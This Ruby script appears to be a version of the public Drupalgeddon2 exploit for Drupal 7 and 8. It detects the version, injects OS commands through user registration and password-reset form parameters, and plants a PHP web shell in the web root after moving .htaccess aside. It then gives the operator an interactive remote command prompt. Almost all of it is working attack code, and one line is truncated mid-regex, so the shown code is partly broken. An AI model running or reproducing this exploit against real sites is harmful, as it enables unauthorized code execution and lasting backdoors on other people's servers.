require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'readline'
require 'highline/import'
try_phpshell = true
$useragent = "drupalgeddon2"
webshell = "shell.php"
$proxy_addr = nil
$proxy_port = 8080
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
def http_request(url, type="get", payload="", cookie="")
puts verbose("HTTP - URL : #{url}") if $verbose
puts verbose("HTTP - Type: #{type}") if $verbose
puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose
begin
uri = URI(url)
request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri)
request.initialize_http_header({"User-Agent" => $useragent})
request.initialize_http_header("Cookie" => cookie) if not cookie.empty?
request.body = payload if not payload.empty?
return $http.request(request)
rescue SocketError
puts error("Network connectivity issue")
rescue Errno::ECONNREFUSED => e
puts error("The target is down ~ #{e.message}")
puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr
rescue Timeout::Error => e
puts error("The target timed out ~ #{e.message}")
end
exit
end
def gen_evil_url(evil, element="", shell=false, phpfunction="passthru")
puts info("Payload: #{evil}") if not shell
puts verbose("Element: #{element}") if not shell and not element.empty? and $verbose
puts verbose("PHP fn : #{phpfunction}") if not shell and $verbose
if $drupalverion.start_with?("8") and element == "mail"
url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
elsif $drupalverion.start_with?("8") and element == "timezone"
url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil
elsif $drupalverion.start_with?("7") and element == "name"
url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil
payload = "form_id=user_pass&_triggering_element_name=name"
end
if $drupalverion.start_with?("7")
response = http_request(url, "post", payload, $session_cookie)
form_name = "form_build_id"
puts verbose("Form name: #{form_name}") if $verbose
form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip
puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty?
puts verbose("Form value : #{form_value}") if $verbose
url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value
payload = "#{form_name}=#{form_value}"
end
return url, payload
end
def clean_result(input)
clean = input.to_s.strip
clean.slice!(/\[{"command":".*}\]$/)
clean.slice!(/The website encountered an unexpected error.*/)
return clean
end
def success(text)
return "\e[#{32}m[+]\e[0m #{text}"
end
def error(text)
return "\e[#{31}m[-]\e[0m #{text}"
end
def warning(text)
return "\e[#{33}m[!]\e[0m #{text}"
end
def action(text)
return "\e[#{34}m[*]\e[0m #{text}"
end
def info(text)
return "\e[#{94}m[i]\e[0m #{text}"
end
def verbose(text)
return "\e[#{90}m[v]\e[0m #{text}"
end
def init_authentication()
$uname = ask('Enter your username:') { |q| q.echo = false }
$passwd = ask('Enter your password:') { |q| q.echo = false }
$uname_field = ask('Enter the name of the username form field:') { |q| q.echo = true }
$passwd_field = ask('Enter the name of the password form field:') { |q| q.echo = true }
$login_path = ask('Enter your login path (e.g., user/login):') { |q| q.echo = true }
$creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...):') { |q| q.echo = true }
end
def is_arg(args, param)
args.each do |arg|
if arg == param
return true
end
end
return false
end
def usage()
puts 'Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]'
puts 'Example for target that does not require authentication:'
puts ' ruby drupalgeddon2.rb https://example.com'
puts 'Example for target that does require authentication:'
puts ' ruby drupalgeddon2.rb https://example.com --authentication'
end
if ARGV.empty?
usage()
exit
end
$target = ARGV[0]
init_authentication() if is_arg(ARGV, '--authentication')
$verbose = is_arg(ARGV, '--verbose')
$target = "http://#{$target}" if not $target.start_with?("http")
$target += "/" if not $target.end_with?("/")
puts action("--==[::#Drupalggedon2::]==--")
puts "-"*80
puts info("Target : #{$target}")
puts info("Proxy: #{$proxy_addr}:#{$proxy_port}") if $proxy_addr
puts info("Write? : Skipping writing PHP web shell") if not try_phpshell
puts "-"*80
uri = URI($target)
$http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port)
if uri.scheme == "https"
$http.use_ssl = true
$http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
$session_cookie = ''
if $uname
$payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix
response = http_request($target + $login_path, 'post', $payload, $session_cookie)
if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie']
$session_cookie = response['set-cookie'].split('; ')[0]
puts success("Logged in - Session Cookie : #{$session_cookie}")
end
end
$drupalverion = ""
url = [
$target + "CHANGELOG.txt",
$target + "core/CHANGELOG.txt",
$target + "includes/bootstrap.inc",
$target + "core/includes/bootstrap.inc",
$target + "includes/database.inc",
$target,
]
url.each do|uri|
response = http_request(uri, 'get', '', $session_cookie)
if response['X-Generator'] and $drupalverion.empty?
header = response['X-Generator'].slice(/Drupal (.*) \(https:\/\/www.drupal.org\)/, 1).to_s.strip
if not header.empty?
$drupalverion = "#{header}.x" if $drupalverion.empty?
puts success("Header : v#{header} [X-Generator]")
puts verbose("X-Generator: #{response['X-Generator']}") if $verbose
end
end
if response.code == "200"
tmp = $verbose ?"[HTTP Size: #{response.size}]": ""
puts success("Found: #{uri}(HTTP Response: #{response.code})#{tmp}")
puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server"
puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found"
if uri.match(/CHANGELOG.txt/)
puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org"
puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002"
$drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
$drupalverion = "" if not $drupalverion[-1] =~ /\d/
end
if not response.body.empty?
meta = response.body.match(/<meta name="Generator" content="Drupal (.*) /)
metatag = meta.to_s.slice(/meta name="Generator" content="Drupal (.*) \(http/, 1).to_s.strip
if not metatag.empty?
$drupalverion = "#{metatag}.x" if $drupalverion.empty?
puts success("Metatag: v#{$drupalverion} [Generator]")
puts verbose(meta.to_s) if $verbose
end
end
break if not $drupalverion.end_with?("x") and not $drupalverion.empty?
end
if response.code == "403" and $drupalverion.empty?
tmp = $verbose ?"[HTTP Size: #{response.size}]": ""
puts success("Found: #{uri}(HTTP Response: #{response.code})#{tmp}")
if $drupalverion.empty?
$drupalverion = uri.match(/includes\/database.inc/)? "7.x/6.x" : "" if $drupalverion.empty?
$drupalverion = uri.match(/core/)? "8.x" : "" if $drupalverion.empty?
puts success("URL: v#{$drupalverion}?") if not $drupalverion.empty?
end
else
tmp = $verbose ?"[HTTP Size: #{response.size}]": ""
puts warning("MISSING: #{uri}(HTTP Response: #{response.code})#{tmp}")
end
end
if not $drupalverion.empty?
status = $drupalverion.end_with?("x")? "?" : "!"
puts success("Drupal#{status}: v#{$drupalverion}")
else
puts error("Didn't detect Drupal version")
exit
end
if not $drupalverion.start_with?("8") and not $drupalverion.start_with?("7")
puts error("Unsupported Drupal version (#{$drupalverion})")
exit
end
puts "-"*80
$form = $drupalverion.start_with?("8")? "user/register" : "user/password"
url = "#{$target}?q=#{$form}"
puts action("Testing: Form (#{$form})")
response = http_request(url, 'get', '', $session_cookie)
if response.code == "200" and not response.body.empty?
puts success("Result : Form valid")
elsif response['location']
puts error("Target is NOT exploitable [5] (HTTP Response: #{response.code})... Could try following the redirect: #{response['location']}")
exit
elsif response.code == "404"
puts error("Target is NOT exploitable [4] (HTTP Response: #{response.code})... Form disabled?")
exit
elsif response.code == "403"
puts error("Target is NOT exploitable [3] (HTTP Response: #{response.code})... Form blocked?")
exit
elsif response.body.empty?
puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})... Got an empty response")
exit
else
puts warning("WARNING: Target may NOT exploitable [1] (HTTP Response: #{response.code})")
end
puts "- "*40
$clean_url = $drupalverion.start_with?("8")? "" : "?q="
url = "#{$target}#{$form}"
puts action("Testing: Clean URLs")
response = http_request(url, 'get', '', $session_cookie)
if response.code == "200" and not response.body.empty?
puts success("Result : Clean URLs enabled")
else
$clean_url = "?q="
puts warning("Result : Clean URLs disabled (HTTP Response: #{response.code})")
puts verbose("response.body: #{response.body}") if $verbose
if $drupalverion.start_with?("8")
puts error("Sorry dave... Required for Drupal v8.x... So... NOPE NOPE NOPE")
exit
elsif $drupalverion.start_with?("7")
puts info("Isn't an issue for Drupal v7.x")
end
end
puts "-"*80
elementsv8 = [
"mail",
"timezone",
]
elementsv7 = [
"name",
]
elements = $drupalverion.start_with?("8") ? elementsv8 : elementsv7
elements.each do|e|
$element = e
puts action("Testing: Code Execution (Method: #{$element})")
random = (0...8).map { (65 + rand(26)).chr }.join
url, payload = gen_evil_url("echo #{random}", e)
response = http_request(url, "post", payload, $session_cookie)
if (response.code == "200" or response.code == "500") and not response.body.empty?
result = clean_result(response.body)
if not result.empty?
puts success("Result : #{result}")
if response.body.match(/
puts success("Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!")
break
else
puts warning("WARNING: Target MIGHT be exploitable [4]... Detected output, but didn't MATCH expected result")
end
else
puts warning("WARNING: Target MIGHT be exploitable [3] (HTTP Response: #{response.code})... Didn't detect any INJECTED output (disabled PHP function?)")
end
puts warning("WARNING: Target MIGHT be exploitable [5]... Blind attack?") if response.code == "500"
puts verbose("response.body: #{response.body}") if $verbose
puts verbose("clean_result: #{result}") if not result.empty? and $verbose
elsif response.body.empty?
puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})... Got an empty response")
exit
else
puts error("Target is NOT exploitable [1] (HTTP Response: #{response.code})")
puts verbose("response.body: #{response.body}") if $verbose
exit
end
puts "- "*40 if e != elements.last
end
puts "-"*80
webshellpath = ""
prompt = "drupalgeddon2"
paths = [
"",
"sites/default/",
"sites/default/files/",
]
paths.each do|path|
puts action("Testing: Existing file (#{$target}#{path}#{webshell})")
response = http_request("#{$target}#{path}#{webshell}", 'get', '', $session_cookie)
if response.code == "200"
puts warning("Response: HTTP #{response.code} // Size: #{response.size}. ***Something could already be there?***")
else
puts info("Response: HTTP #{response.code} // Size: #{response.size}")
end
puts "- "*40
folder = path.empty? ? "./" : path
puts action("Testing: Writing To Web Root (#{folder})")
webshellpath = "#{path}#{webshell}"
cmd = "#{bashcmd} | tee #{webshellpath}"
if path == "sites/default/files/"
puts action("Moving : ./sites/default/files/.htaccess")
cmd = "mv -f #{path}.htaccess #{path}.htaccess-bak; #{cmd}"
end
url, payload = gen_evil_url(cmd, $element)
response = http_request(url, "post", payload, $session_cookie)
if response.code == "200" and not response.body.empty?
result = clean_result(response.body)
puts success("Result : #{result}") if not result.empty?
response = http_request("#{$target}#{webshellpath}", "post", "c=hostname", $session_cookie)
if response.code == "200" and not response.body.empty?
puts success("Very Good News Everyone! Wrote to the web root! Waayheeeey!!!")
break
elsif response.code == "404"
puts warning("Target is NOT exploitable [2-4] (HTTP Response: #{response.code})... Might not have write access?")
elsif response.code == "403"
puts warning("Target is NOT exploitable [2-3] (HTTP Response: #{response.code})... May not be able to execute PHP from here?")
elsif response.body.empty?
puts warning("Target is NOT exploitable [2-2] (HTTP Response: #{response.code})... Got an empty response back")
else
puts warning("Target is NOT exploitable [2-1] (HTTP Response: #{response.code})")
puts verbose("response.body: #{response.body}") if $verbose
end
elsif response.code == "500" and not response.body.empty?
puts warning("Target MAY of been exploited... Bit of blind leading the blind")
break
elsif response.code == "404"
puts warning("Target is NOT exploitable [1-4] (HTTP Response: #{response.code})... Might not have write access?")
elsif response.code == "403"
puts warning("Target is NOT exploitable [1-3] (HTTP Response: #{response.code})... May not be able to execute PHP from here?")
elsif response.body.empty?
puts warning("Target is NOT exploitable [1-2] (HTTP Response: #{response.code}))... Got an empty response back")
else
puts warning("Target is NOT exploitable [1-1] (HTTP Response: #{response.code})")
puts verbose("response.body: #{response.body}") if $verbose
end
webshellpath = ""
puts "- "*40 if path != paths.last
end if try_phpshell
if not webshellpath.empty?
prompt = response.body.to_s.strip if response.code == "200" and not response.body.empty?
puts "-"*80
puts info("Fake PHP shell: curl '#{$target}#{webshellpath}' -d 'c=hostname'")
elsif try_phpshell
puts warning("FAILED : Couldn't find a writeable web path")
puts "-"*80
puts action("Dropping back to direct OS commands")
end
trap("INT", "SIG_IGN")
loop do
result = "~ERROR~"
command = Readline.readline("#{prompt}>> ", true).to_s
puts warning("WARNING: Detected an known bad character (>)") if command =~ />/
break if command == "exit"
next if command.empty?
if not webshellpath.empty?
result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body
else
url, payload = gen_evil_url(command, $element, true)
response = http_request(url, "post", payload, $session_cookie)
if not response.body.empty?
result = clean_result(response.body)
end
end
puts result
end